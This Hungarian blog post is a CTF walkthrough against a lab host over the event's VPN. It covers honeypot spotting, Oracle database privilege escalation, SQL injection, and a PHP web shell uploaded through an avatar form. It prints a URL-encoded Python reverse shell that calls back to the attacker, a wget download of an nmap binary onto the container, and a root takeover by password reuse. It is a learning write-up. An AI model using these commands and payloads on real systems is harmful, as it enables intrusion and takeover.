2022. szeptember 28., szerda

Gyorskeresés

Életem második CTF élménye

Írta: | Kulcsszavak: CTF . napló . blog . hacking . off

[ ÚJ BEJEGYZÉS ]

Nem hittem volna, hogy valaha is foglalkozni fogok CTF-fel, ugyanis az egész olyan mesterkéltnek tűnik számomra. Eleve az a tudat, hogy az ember tudatában van annak, hogy a feladat megoldható illúziórombolóvá teszi az egészet számomra és valahogy az a tapasztalatom, hogy majdnem az összes általam ismert challenge egy-két adott problémára van kiélezve és nem egy komplexebb, életszerűbb setupba kell betörni. Tol az ember egy nmapot és már tudja mivel célszerű próbálkozni. Azt nem tagadom, hogy ezekből is sokat lehet tanulni, de a kevés szabadidőmben nem éreztem effektív tanulási módszernek a CTF-eket és inkább azzal a stratégiával igyekeztem tanulni, hogy saját konfigokat állítottam össze, majd ezeket próbáltam feltörni.

Azonban nemrég kaptam egy meghívást ismét, ahol a srácok erőteljesen rácáfoltak erre a meglehetősen egyoldalú véleményemre, ugyanis egy olyan CTF-et állítottak össze, ami több szempontból is egzotikusnak, ugyanakkor egy magamfajta laikusnak is teljesíthetőnek hatott. A következőekben szeretném megosztani a tapasztalataimat az eventtel kapcsolatban. Mivel a cikk megjelenésekor az event hivatalosan véget ért, bátran merem publikálni a spoilerekkel teletűzdelt megoldási menetemet, azonban ha később esetleg publikálásra kerülne az event self-hosted formában, mindenképp beillesztek ide egy linket.

-----------------------------------------------------------

1. Mérjük fel a terepet!

Az eventre egy egyénileg hosztolt ctfd alapú oldalon lehetett regisztrálni, majd ezt követően érkezett egy OpenVPN hozzáférés a megadott emailre. Ezen kívül annyi hintet kaptunk, hogy az összes challengenek köze lesz a 10.8.0.1 címhez.

Az a tapasztalatom, hogy fontos a legalapabb infók összegzésével kezdeni a folyamatot, így először az ovpn konfigra koncentráltam, hátha találok benne valami érdekeset. Sajnos nem vagyok nagy ovpn mágus, mivel jó ideje wireguardot használok ahol lehet, de azért nekiestem. Nem másolhatok ki mindent, de a lényeges része a konfignak a következő:

client
proto udp
explicit-exit-notify
remote <IP address was here> <port was here>
dev tun
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
verify-x509-name server_<id was here> name
auth SHA256
auth-nocache
cipher AES-128-GCM
tls-client
tls-version-min 1.2
tls-cipher TLS-ECDHE-ECDSA-WITH-AES-128-GCM-SHA256
ignore-unknown-option block-outside-dns
setenv opt block-outside-dns # Prevent Windows 10 DNS leak
verb 3

A nyilvánvaló alapokon kívül ami érdekelt, az a tun modul használata, azaz nem kell majd próbálkoznom L2-n, illetve ami érdekes, hogy az ip konfigurációt és a routingot a szervertől kapjuk a DNS-sel karöltve, így ez önmagában nem fog árulkodni esetlegesen számunkra elérhető hálózatokról.

Gyorsan fellőttem egy network namespace-t, ugyanis másokkal ellentétben én jobban preferálom a már belakott Fedora rendszerem, mint egy Kali VM-et és azt se szeretném, ha feltúrná egy bármilyen CTF a hosztom hálózatát. Namespaceben viszont vígan futhat a mutatvány kellőképpen elizolálva mindentől. Ehhez a következő szkriptet használtam: [link]

A bringupot követően a szerver válasza:

2022-05-11 00:15:26 PUSH: Received control message: 'PUSH_REPLY,dhcp-option DNS 94.XX.XX.XX,dhcp-option DNS 94.XX.XX.XX,redirect-gateway def1,route-gateway 10.8.0.1,topology subnet,ping 10,ping-restart 120,ifconfig 10.8.0.13 255.255.255.0,peer-id 0,cipher AES-128-GCM'

Sajnos ezek alapján sem szűkült nagyon a hálózatok listája, ugyanis az egész 0.0.0.0/1-t elroutolja hozzájuk. IPv6 láthatólag nincs.

Jöhet egy gyors nmap a hosztra, aminek az eredményét feltöltöttem ide: [link]

Elnézve a kimenetet azonnal látszik, hogy hemzseg a hoszt honeypottal és kamu porttal, így előnnyel indulok, ugyanis az előző CTF sem volt nagyon más alapjaiban véve. A korábbi event során ez a honeypot csomag volt használva: [link] és erős volt a gyanú, hogy ez most sem lesz másképp. SSH-ra a 22-es porton belépve ismét a tpotce-ből ismert honeypot SSH fogadott:

[steve@todo-pc Hacking]$ ssh valami@10.8.0.1
(valami@10.8.0.1) Password:
(valami@10.8.0.1) Password:
(valami@10.8.0.1) Password:
valami@10.8.0.1's password:
Permission denied, please try again.
valami@10.8.0.1's password:
Permission denied, please try again.
valami@10.8.0.1's password:
valami@10.8.0.1: Permission denied (publickey,password,keyboard-interactive).

Illetve a 10.8.0.1-et megnyitva böngészőből ismét egy ghost blog fogadott:

Ráadásul ez ciklikusan váltakozik, néha tomcat default page stb. Illetve a fejlécek is árulkodnak:

HTTP/1.1 200 OK
Content-Type: application/javascript
Set-Cookie: sess_uuid=426e80e0-a378-42a0-939d-7de437a7d4a7
Content-Length: 86659
Date: Tue, 10 May 2022 22:58:55 GMT
Server: Python/3.9 aiohttp/3.8.1

Nehezen elképzelhető, hogy akárki tomcatet hosztolna például aiohttp-vel, mint reverse proxy egy legit szolgáltatáson, de a kamu tomcat esetében pl azt is észrevettem, hogy vannak elérési utak, amik rendesen 404-et dobnak, pl a http://10.8.0.1/valami, viszont a http://10.8.0.1/config/listeners.html 200-as status kódot és "HTTP Status 404 – Not Found" üzenetet ad vissza. Innen egyértelmű volt, hogy a tpotce műve ez is, illetve a rengeteg egyéb honeypot és a sok fake port is.

A fake portokra még az előző CTF kapcsán írtam egy kezdetleges rustban írt toolt, ugyanis azt vettem észre, hogy az nmap nem mindig megbízható (nem igazán értek az nmaphoz), illetve az egyértelműen kamu portok kb válaszolnak a kézfogásra, a kapcsolat bezárul, illetve ha adatot küldök, azonnal levág:

[steve@todo-pc Hacking]$ telnet 10.8.0.1 8089
Trying 10.8.0.1...
Connected to 10.8.0.1.
Escape character is '^]'.

Connection closed by foreign host.

Nyilván adat küldése esetén egy legit szolgáltatás is kidobhat, de már ez a technika is adhat egy tippet.

Egyébként a korábbi nmap scan eredményénél ahol szerepel VERSION is, az egy jó kiindulási alap lehet. De mint utólag megtudtam, az nmap is egészen korrekt a következő flagekkel:

[steve@todo-pc Hacking]$ sudo nmap -sV -sS -T4 10.8.0.1
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-11 01:10 CEST
Nmap scan report for 10.8.0.1
Host is up (0.021s latency).
Not shown: 1006 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.9p1 (protocol 2.0)
23/tcp open telnet?
25/tcp open smtp Exim smtpd 4.81
42/tcp open tcpwrapped
80/tcp open http aiohttp 3.8.1 (Python 3.9)
81/tcp open http nginx
110/tcp open pop3?
135/tcp open msrpc?
143/tcp open imap
443/tcp open ssl/http Apache httpd
445/tcp open microsoft-ds?
465/tcp open ssl/smtp
631/tcp open http TwistedWeb httpd 21.7.0
678/tcp open http Apache httpd 2.4.7 ((Ubuntu))
993/tcp open ssl/imap
995/tcp open ssl/pop3s?
1024/tcp open kdm?
...

Végre van egy listám és csak reménykedhetek benne, hogy UDP és egyéb más IP protokollokra nem lesz szükség.

Ideje megtekinteni a challengeket. Minden challengehez tartozik egy kategória, egy cím és egy/több hint, illetve egy pontszám.

Kategória: OSINT
- név: Juliana
- Hint. Checkout my new post!
- pont: 100

Kategória: ORACLE
- név: Lucky
- HInt:
-- Mike Sierra Foxtrot Charlie Oscar November Sierra Oscar Lima Echo
-- enumeration, enumeration, enumeration... and if you are tired: enumerate even harder
- pont: 100

- név: Wilfred
- HInt:
-- "FYI: I'll be checking on you... ~Boss"
-- Can you see everything? The solution may be STORED elsewhere.
- pont: 200

Kategória: SQLI
- név: Tingeling 1
- HInt:
-- Welcome to Froxlor
-- In the future, robots will know the answer to everything
-- The rabbit-hole suddenly goes straight down and Alice falls into it. She falls very slowly and while she is talking to herself she falls asleep. Suddenly she lands on a heap of sticks and dry leaves and the fall is over. She sees the White Rabbit running in front of her through a long passage and she continues to follow in order to query him about her whereabouts.
- pont: 200

- név: Tingeling 2
- HInt:
-- su -c
-- CWE-260
-- https://www.upguard.com/blog/attack-vector
-- https://www.acunetix.com/blog/web-security-zone/common-password-vulnerabilities/
- pont: 250

2. Trial & error

Végigolvasva a hnteket úgy döntöttem, először a HTTP szolgáltatásokkal fogom kezdeni a próbálkozást, ugyanis mind a juliana, mind pedig az SQLI kategória sugall arra, hogy lesz itt több HTTP service is. Korábban kizártam a 80-as portot (honeypot), így a figyelmem következetesen a 8080-ra irányult.

Korábbi nmap részlet:

8080/tcp open http SimpleHTTPServer 0.6 (Python 2.7.5)

Az oldalt megnyitva pedig ez tárult elém:

Az oldal forráskódja pedig itt található: [link]

<!-- WILFRED! We can't operate our site while the DB is a mess! YOU DID THIS, SO YOU'LL BE THE ONE TO MAKE IT RIGHT! You have time until the end of today or you're FIRED! P.S.: The IT guys created a backup DB for you to start migrating our data. Mailtrail in wilfred.txt on this site. NOW GET TO WORK! Oh yes, and FYI: I'll be checking on you... ~Boss -->

Ezen a ponton feltételezhető volt, hogy ez valószínűleg nem kósza honeypot.

A komment által említett txt valóban létezik, tartalma: [link]

Sure thing. here's his access:
username: WILFRED
password: Wilfred123
pdb: ORCLEPDB.minicorp.com
port: 10521

Úgy tűnik tálcán van kínálva a megoldás a wilfredhez, azonban soha nem volt dolgom oracle db-vel, így keresnem kellett pár toolt. Végül leszedtem a hivatalos oracle féle sqlplus-t, az odat-ot, ami egy elképesztő tárháza mindenféle OracleDB-s exploitnak, ezen kívül természetesen az msfconsole is kéznél volt.

[steve@todo-pc Hacking]$ export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
[steve@todo-pc Hacking]$ export PATH=$LD_LIBRARY_PATH:$PATH
[steve@todo-pc Hacking]$ sqlplus WILFRED/Wilfred123@10.8.0.1:10521/ORCLEPDB.minicorp.com

SQL*Plus: Release 21.0.0.0.0 - Production on Wed May 11 01:39:35 2022
Version 21.4.0.0.0

Copyright (c) 1982, 2021, Oracle. All rights reserved.

Last Successful login time: Wed May 11 2022 00:00:33 +02:00

Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

SQL>

Bingó! Láthatóan beengedett. Először dumpoltam a userek listáját, mert nem voltam biztos benne, hogy nem egy újabb honeypotba ütközök-e: [link]

Aztán az odat segítségével összegyűjtöttem pár infót a szolgáltatásról: [link]

Közben ráeresztettem egy brute forcert az adatbázisra, hátha találok még érdekességeket:

python3 ./odat.py all -s 10.8.0.1 -p 10521

Az eredmény annyi lett, hogy az ORACLE SID létezik, illetve a ctxsys:ctxsys és xdb:xdb user elérhető. Látahtóan egyik automatizált exploit sem volt nyerő.

Ezek után futtattam egy python3 ./odat.py search -s 10.8.0.1 -p 10521 -U WILFRED -P Wilfred123 -n ORCLEPDB.minicorp.com --desc-tables > wilfred.txt parancsot, majd körbenéztem a táblákban. [link]

Az sqlplus-ra visszatérve körbenéztem néhány wilfred által birtokolt táblában, nagyjából az összes CUSTOMERS, PRODUCTS stb tábla üres volt, azonban a LOGS táblában a következő üzenet volt látható:

ID
----------
DESCRIPTION
--------------------------------------------------------------------------------
1926
[05-10-2022 23:55:36] Dear Diary, still no sign of progress... YOU WILL BE FIRED
IF YOU KEEP THIS UP WILFRED!!

1927
[05-10-2022 23:55:51] Dear Diary, still no sign of progress... YOU WILL BE FIRED
IF YOU KEEP THIS UP WILFRED!!

1940

ID
----------
DESCRIPTION
--------------------------------------------------------------------------------
[05-10-2022 23:59:08] Dear Diary, still no sign of progress... YOU WILL BE FIRED
IF YOU KEEP THIS UP WILFRED!!


1529 rows selected.

Sok főnökről hallotam, de olyanról még nem, aki ennyi rekordot beinsertelne egy táblába, csak hogy ösztönözze a dolgozóit... Feltűnt, hogy a rekordok folyamatosan nő:

SQL> SELECT COUNT(*) FROM LOGS;

COUNT(*)
----------
1543

Feltételeztem, hogy valami automatizált db procedure fogja beinsertelni ezeket, vagy egy automatizált kliens, de egyelőre félretettem.

Illetve rákerestem, hátha lesz itt még más is:

SQL> SELECT * FROM LOGS WHERE DESCRIPTION NOT LIKE '%Diary%';

ID
----------
DESCRIPTION
--------------------------------------------------------------------------------
1
started working boss, but its lunchtime soon

2
started working boss, but its lunchtime soon


SQL>

A következő parancs segítségével kilistáztam az összes lehetséges opciót, ami érintett lehet a logban:

SELECT * FROM ALL_OBJECTS WHERE OBJECT_TYPE IN ('FUNCTION','PROCEDURE','PACKAGE');

Azonban a lista brutálisan hosszú lett:

1502 rows selected.

És tucat beépített függvény volt benne. Félretettem ezt a challenget.

A következő kiszemelt HTTP service a 678-as port lett, amit a fentebbi listából választottam ki:

678/tcp open http Apache httpd 2.4.7 ((Ubuntu))

A következő látvány tárult elém:

A forráskódban és a fejlécekben semmi eltérőt nem találtam egy hagyományos Froxlor telepítővel szemben. Nem voltam biztos benne, hogy honeypottal van-e dolgom, így továbbmentem:

Itt rögtön látszik egy kis metadata, mégpedig a "Good, but php-7.1 is preferred. (7.3.3-1+ubuntu14.04.1+deb.sury.org+1)" szerepében. Bár nagyon honeypotra gyanakodtam, mivel az oldalbetöltések igencsak gyorsak voltak dinamikus contenthez képest, de a PHP verzió és a mirror is legitnek tűnt.

A következő oldala a telepítőnek sem tűnt érdekesnek:

Sajnos nem engedett be root:root és egyéb kombinációkkal, viszont ezek alapján arra következtettem, hogy lesz phpmyadmin telepítve. És valóban, a http://10.8.0.1:678/phpmyadmin/ címen elérhető egy 4.8.5-ös verzió a docs (http://10.8.0.1:678/phpmyadmin/doc/html/index.html) alapján. :C

Ennek ellenére ez sem engedett be valós adatok hiányában. Viszont a Tingeling 1-nél volt említve Froxlor és a következő hint adott egy kósza ötletet: In the future, robots will know the answer to everything. Nézzük van-e http://10.8.0.1:678/robots.txt. És van: [link]

Mégpedig egészen egzotikus tartalmakkal, amik nem éppen egy alap telepítés részei. Ezzel az erővel megnéztem, hogy a http://10.8.0.1:678/.htaccess elérhető-e, illetve van-e http://10.8.0.1:678/.git, de előbbire 403-at, míg a másodikra 404-et kaptam válaszul.

Node, a robots.txt-ben elsőként ez szúrt szemet:

Disallow: /ERP

admin:admin párossal be is engedett. Találtam exploitdb-n egy alkalmasnak tűnő CVE-t: [link]

Gyanús volt, hogy az ERP oldalon már minden az exploit által ecsetelt követelmény, azaz, hogy legyen user, legyen fogyasztása stb adott volt, így gyorsan össze is dobtam egy kezdetleges python callert, hogy teszteljem, működik-e az SQLI: [link]

Működött:

Viszont elég limitált volt a dolog, nem sikerült nagyon subqueryket futtatni és kiírni az eredményt, így ezt hanyagoltam és a robots.txt többi sorára koncentráltam.

A következő érdekesség:

Disallow: /books

Ide sajnos nem volt jó az admin:admin, de a következő exploitot találtam: [link]

Ez a következőt adta jelszónak: admin:934161ec95c5ed977ec88f1d0d40d1a6

Rákeresve a hash-re pár md5 adatbázisban 0 találatot eredményezett, ráhagytam. Azonban a következő CVE érdekesnek bizonyult: [link]

A sütit beállítva userinfo=admin+1+en-re sikerült belépni, de a következő látvány fogadott:

Miután körbenéztem, nem igazán tűnt hasznosnak elsőre a sok error metadata leak szempontjából, ezért leszedtem a phpabook forrását és megnéztem hol akad el. Elsőre azt tippeltem, hogy egyáltalán nincs mysql db a books mögött, de aztán rájöttem, hogy a logint valahogy validálta, szóval van. Illetve rájöttem, hogy a default phpAbookadmin az admin jelszó.

Ezt az oldalt is meghagytam későbbre, majd a harmadik érdekes címre vándoroltam: Disallow: /monitor/

Itt először az admin felületre tudtam belépni, ugyanis meglátogatva a http://10.8.0.1:678/monitor/admin/ címet, a következő fogadott: [link]

A lényeg, ami szemet szúrt, itt található:

jQuery(document).ready(function(){
jQuery("#login_form").submit(function(e){
e.preventDefault();
var formData = jQuery(this).serialize();
$.ajax({
type: "POST",
url: "login.php",
data: formData,
success: function(html){
if(html=='true')
{
$.jGrowl("Welcome to NIA Project Monitoring System", { header: 'Access Granted' });
var delay = 2000;
setTimeout(function(){ window.location = 'dashboard.php' }, delay);
}
else
{
$.jGrowl("Please Check your username and Password", { header: 'Login Failed' });
}
}

});
return false;
});
});

Kifejezetten érdekes módja az authentikálásnak. :D A http://10.8.0.1:678/monitor/admin/dashboard.php-t meglátogatva azonnal bent is találtam magam az admin panelen. De utólag rájöttem, hogy az admin:admin is beléptetett volna. Ilyen ez. :B

Találtam pár usert a nem admin panelhez is:

A tom:tom valóban beléptetett, azonban körülnézve rengeteg kezdő bakit találtam és az oldal fele nem is működött. SQLI-re fókuszáltam, így egyből nekiestem a loginnak:

Egész véletlenül működött, a user is DBA volt, viszont a db-ben körülnézve nem bukkantam flag-re, illetve a python ./sqlmap.py -u http://10.8.0.1:678/monitor/login.php --data "username=tom&password=tom" --os-shell parancs sajnos hibába fulladt:

please provide a comma separate list of absolute directory paths: /app
[03:00:25] [WARNING] unable to automatically parse any web server path
[03:00:25] [INFO] trying to upload the file stager on '/app/' via LIMIT 'LINES TERMINATED BY' method
[03:00:25] [WARNING] unable to upload the file stager on '/app/'
[03:00:25] [INFO] trying to upload the file stager on '/app/monitor/' via LIMIT 'LINES TERMINATED BY' method
[03:00:25] [WARNING] unable to upload the file stager on '/app/monitor/'
[03:00:25] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 3 times

Pedig nem lett volna rossz egy hoszt takeover ilyen módon. Velem párhuzamos módon azonban egy másik CTF törő, K is eljutott a feladathoz, neki sikerült a http://10.8.0.1:678/monitor/admin/uploads/ mappába egy file.php-t injektálni, amit felfedezve (ugyanis a webszerveren nem volt kikapcsolva a directory index) képes voltam megkeresni a flaget a következő módon:

http://10.8.0.1:678/monitor/admin/uploads/file.php?cmd=grep%20-r%20FLAG{

/var/www/local_flag.txt:FLAG{Tingeling_www_root_FL@G}
Binary file /proc/2221/task/2221/cmdline matches

Utólag rákérdeztem és a user avatar lecserélésével sikerült ezt elérnie:

Az apache meg úgy van misconfigolva, hogy mindenféle PHP-t is lefuttasson, így nekem is sikerült az alábbi szkripttel reprodukálni a megoldást:

<?php
$sp = $_GET['cmd'];
header('Content-Type: text/plain');
echo shell_exec($sp);
?>

[steve@todo-pc Hacking]$ curl http://10.8.0.1:678/monitor/admin/uploads/run.php?cmd=cat%20/etc/os-release
NAME="Ubuntu"
VERSION="14.04.6 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.6 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

Megvan az első flag! :D

Ha van shell, akkor az azt jelenti, hogy körbe tudunk nézni a szerveren kicsit jobban is. Bár ez lehetséges lenne a PHP szkripten keresztül, kényelmesebb egy terminál szerű valamiről gépelni. Root jogunk egyelőre nincs, így marad a K-tól tanult megoldás.

Az én gépemen kiadom, hogy:

nc -v -n -l -p 1234

Majd a távoli szerveren csatlakozok rá:

http://10.8.0.1:678/monitor/admin/uploads/run.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.8.0.13%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

És bent is vagyunk!

Egy python -c 'import pty; pty.spawn("/bin/bash")'-t érdemes kiadni, majd jöhet a körülnézés.

Láthatóan net van:

www-data@9a8fd651c31b:/$ ping -c1 1.1
ping -c1 1.1
PING 1.1 (1.0.0.1) 56(84) bytes of data.
64 bytes from 1.0.0.1: icmp_seq=1 ttl=56 time=1.07 ms

--- 1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.070/1.070/1.070/0.000 ms

A hálózati stack pedig:

www-data@9a8fd651c31b:/$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
78: eth0@if79: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:c0:a8:40:07 brd ff:ff:ff:ff:ff:ff
inet 192.168.64.7/20 brd 192.168.79.255 scope global eth0
valid_lft forever preferred_lft forever

Az is kiderül, hogy dockerben fut:

www-data@9a8fd651c31b:/$ env | grep DOCKER
env | grep DOCKER
BOOT2DOCKER_GID=50
DOCKER_USER_ID=501
DOCKER_USER_GID=20
BOOT2DOCKER_ID=1000

Ez nem meglepő, az előző CTF-en is minden a saját containerén futott. Szedjünk is le egy static nmapot:

wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap -O /tmp/nmap; chmod +x /tmp/nmap

És futtassunk egy "nmap -sn 192.168.64.0/24"-et: [link]

Csodás, még hosztnevek is vannak. Fedezzük fel a portokat: [link]

Elsőnek ami szemet szúrt, az a juliana. Felfedeztem, hogy a docker IP címeket elérem a VPN-en és a reverse shell sem szükséges. A http://192.168.64.3-ra ez jött velem szembe:

Az az instagram referencia egyből szemet szúrt, beraktam egy base64 converterbe és visszakaptam a juli_harl0ww-ot. Rákeresve instagramon valóban ott volt egy QR kód a megoldással és meglett a következő flag. :C

FLAG{tHi5-p3rs0n-dOEs-n0t-3xist5}

Visszatérve a reverse shellre, mivel itt még volt egy task, rákerestem, hogy a /app alatt, ahol a sok PHP szkript meg a froxlor volt telepítve, van-e mysql pass. Ehhez a szokásos grep -r password /app talált is egy matchet:

ERP/php/config.php: "mysql-password" => "ro07p@55!"

Ezzel rögtön be is engedett a phpmyadmin:

De a korábbi hintek alapján pass reuse lehet a következő flaghez vezető út, így a su parancs, majd a jelszó beírása után valóban kapunk egy root shellt és a flag ott lesz a root home dirben:

root@9a8fd651c31b:~# cat root_flag.txt
cat root_flag.txt
FLAG{tiNG3Ling_ro0t_Fl4g}

Ezt a flaget egyébként K találta meg elsőként.

Majd a Wilfreddel kezdtem el ismét foglalkozni, amiről a következőt tudtuk:

Nmap scan report for ctf-wilfred.etc_default (192.168.64.4)
Host is up (0.0012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
1521/tcp open unknown
8080/tcp open http-alt
34783/tcp open unknown

A 1521-et eddig is ismertük 10.8.0.1:10521-ként. Korábban felfedeztem a logokat, amik gyanúsan nem maguktól írodtak be. Rákerestem, hogy milyen futtathatók vannak WILFRED névvel:

SQL> SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OBJECT_TYPE IN ('FUNCTION','PROCEDURE','PACKAGE') AND OBJECT_NAME LIKE '%WILFRED%';

OBJECT_NAME
--------------------------------------------------------------------------------
CHECK_WILFRED
CHECK_WILFRED_LAZY
CHECK_WILFRED_CONTACTS_CNT
CHECK_WILFRED_COUNTRIES_CNT
CHECK_WILFRED_EMPLOYEES_CNT
CHECK_WILFRED_INVENTORIES_CNT
CHECK_WILFRED_LOCATIONS_CNT
CHECK_WILFRED_ORDER_ITEMS_CNT
CHECK_WILFRED_ORDERS_CNT
CHECK_WILFRED_PRODUCT_CATEGORIES_CNT
CHECK_WILFRED_PRODUCTS_CNT

OBJECT_NAME
--------------------------------------------------------------------------------
CHECK_WILFRED_REGIONS_CNT
CHECK_WILFRED_WAREHOUSES_CNT

13 rows selected.

Nos van itt pár érdekes dolog. Nézzük:

SQL> desc BOSS.CHECK_WILFRED_LAZY
PROCEDURE BOSS.CHECK_WILFRED_LAZY
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
STMT VARCHAR2 IN

SQL>

SQL> EXEC BOSS.CHECK_WILFRED_LAZY(q'{CREATE USER myuser IDENTIFIED BY almafa123}');

PL/SQL procedure successfully completed.

SQL>

Adjunk neki dba-t, illetve jogot, hogy tudjon bash-be lépni:

EXEC BOSS.CHECK_WILFRED_LAZY(q'{GRANT DBA TO myuser}');

Úgy tűnik ez sikerült! Nézzük, be tudunk-e lépni:

SQL> EXEC dbms_java.grant_permission( 'MYUSER', 'SYS:java.io.FilePermission', '/bin/sh', 'execute' )

PL/SQL procedure successfully completed.

És igen. Irány az odat, hátha tudunk shellt szerezni:

[steve@todo-pc odat]$ python3 ./odat.py java -s 10.8.0.1 -p 10521 -U myuser -P almafa123 -n ORCLEPDB.minicorp.com --shell

[1] (10.8.0.1:10521): Try to give you a pseudo shell to the 10.8.0.1 server
10.8.0.1$ ls
stderr:/bin/sh: ls: No such file or directory

10.8.0.1$

Shell van, de úgy tűnik PATH nincs. Semmi gond, megoldjuk.

10.8.0.1$ /usr/bin/grep -r FLAG /ORCL
Binary file /ORCL/u02/app/oracle/oradata/ORACLE/orclpdb1/system01.dbf matches
Binary file /ORCL/u02/app/oracle/oradata/ORACLE/orclpdb1/users01.dbf matches

Nézzünk rá a fájlokra:

10.8.0.1$ /usr/bin/strings /ORCL/u02/app/oracle/oradata/ORACLE/orclpdb1/system01.dbf | /usr/bin/grep FLAG
#FLAG{Th!s_1S-th3:Fl@g;4-BO55!!4}

10.8.0.1$ /usr/bin/strings /ORCL/u02/app/oracle/oradata/ORACLE/orclpdb1/users01.dbf | /usr/bin/grep FLAG
#FLAG{Th!s_1S-th3:Fl@g;4-BO55!!4},
#FLAG{Th!s_1S-th3:Fl@g;4-BO55!!4}

Nos ezt a flaget sajnos nem fogadta be a rendszer, így írtam a szervezőknek, akik felvilágosítottak, hogy valóban kimaradt egy Wilfred kihívás és a korábbi Wilfredet átnevezték Wilfred 1-re, illetve javították, hogy elfogadja az általam talált flaget, illetve megjelent a következő kihívás:

- név: Wilfred 2
- Hint:
-- Without rice, even the cleverest housewife cannot cook. -i
- pont: 200

Nézzünk körül a /home alatt:

10.8.0.1$ /usr/bin/grep -r FLAG /home
/home/oracle/createTables.sh:INSERT INTO FLAG(flag_val) VALUES('FLAG{Th!s_1S-th3:Fl@g;4-BO55!!4}');
/home/oracle/flag.txt:FLAG{0r@cl3_Loc4l:fl@g-w!lfrED}

Amint kijavították, ezt is sikerült beküldeni. :C

Már csak a Lucky volt hátra, viszont azzal az eggyel szerintem legalább 12 órát sikerült eltölteni, ugyanis akárhány nmap scant végeztem, hol nem is látszódott a hoszt, de amikor látszódott is, csak egyetlen portot írt az nmap:

[steve@todo-pc Hacking]$ nmap -sV -p1- 192.168.64.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-11 23:36 CEST
Nmap scan report for 192.168.64.2
Host is up (0.0067s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
1521/tcp open oracle-tns Oracle TNS listener 12.2.0.1.0 (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.84 seconds

Az ide tartozó hintet összeolvasva kijön az msfconsole, így nekiestem metasploittal. Először még csak SID-et se talált, aztán egy napra rá már volt egy ORACLE SID. Elképzelhetőnek tartom, hogy valami konfig bug volt, de végül sikerült brute forcolni:

[steve@todo-pc odat]$ python3 ./odat.py sidguesser -s 192.168.64.2 -p 1521

[1] (192.168.64.2:1521): Searching valid SIDs
[1.1] Searching valid SIDs thanks to a well known SID list on the 192.168.64.2:1521 server
[+] 'ORACLE' is a valid SID. Continue... ########################################## | ETA: 00:00:07
100% |#####################################################################################################################################################################################################################| Time: 00:00:12
[1.2] Searching valid SIDs thanks to a brute-force attack on 1 chars now (192.168.64.2:1521)
100% |#####################################################################################################################################################################################################################| Time: 00:00:00
[1.3] Searching valid SIDs thanks to a brute-force attack on 2 chars now (192.168.64.2:1521)
100% |#####################################################################################################################################################################################################################| Time: 00:00:10
[+] SIDs found on the 192.168.64.2:1521 server: ORACLE

Egy python3 ./odat.py passwordguesser -s 192.168.64.2 -p 1521 -d ORACLE felfedte, hogy a ctxsys:ctxsys és az xdb:xdb párosok léteznek, azonban egyiküknek sem volt semmi speciális joga és képes voltam az összes CVE-n végigmenni, az odat összes flagjét bevetni mindkét userrel, sőt a hint miatt nekiestem msfconsole-lal is az összes listázott exploitnak, hátha. De nem. Az msfconsole-t át kellett írni, hogy tudjon SID-del is csatlakozni, ne csak SERVICE_NAME szerint, de ez is feleslegesnek bizonyult. Egyik exploit sem nyitotta meg. Sőt, odáig is elmentem, hogy hydra-val ráeresztettem a rockyou-t és jó pár nagyobb wordlistet, hátha találok más SID-et. Nem. :(

Ekkor írtam egy kezdetleges TNS klienst, hogy hátha sikerül rajta parancsokat futtatni, ami sikerült is, de nem segített. Feladtam.

Már csak ez az egy flag volt hátra K-nak és nekem is, kértünk hintet is a nagy elkeseredésünkben, de egyelőre nem adtak. Aztán K rápróbált megint nmapra és láss csodát:

[steve@todo-pc Hacking]$ nmap -sV -p1- 192.168.64.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-11 23:36 CEST
Nmap scan report for 192.168.64.2
Host is up (0.0067s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
1521/tcp open oracle-tns Oracle TNS listener 12.2.0.1.0 (unauthorized)
34641/tcp open oracle Oracle Database

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Ezek után egy gyors python3 ./odat.py passwordguesser -s 192.168.64.2 -p 34641 -d ORACLE kibökte, hogy a SYS:SYS user elérhető, aki az alap DBA jogokkal rendelkező user.

Ezek után a következő módon lett meg a flag:

Ez egy korábbi kép, ezért más a port, de a lényeg ott van. :D

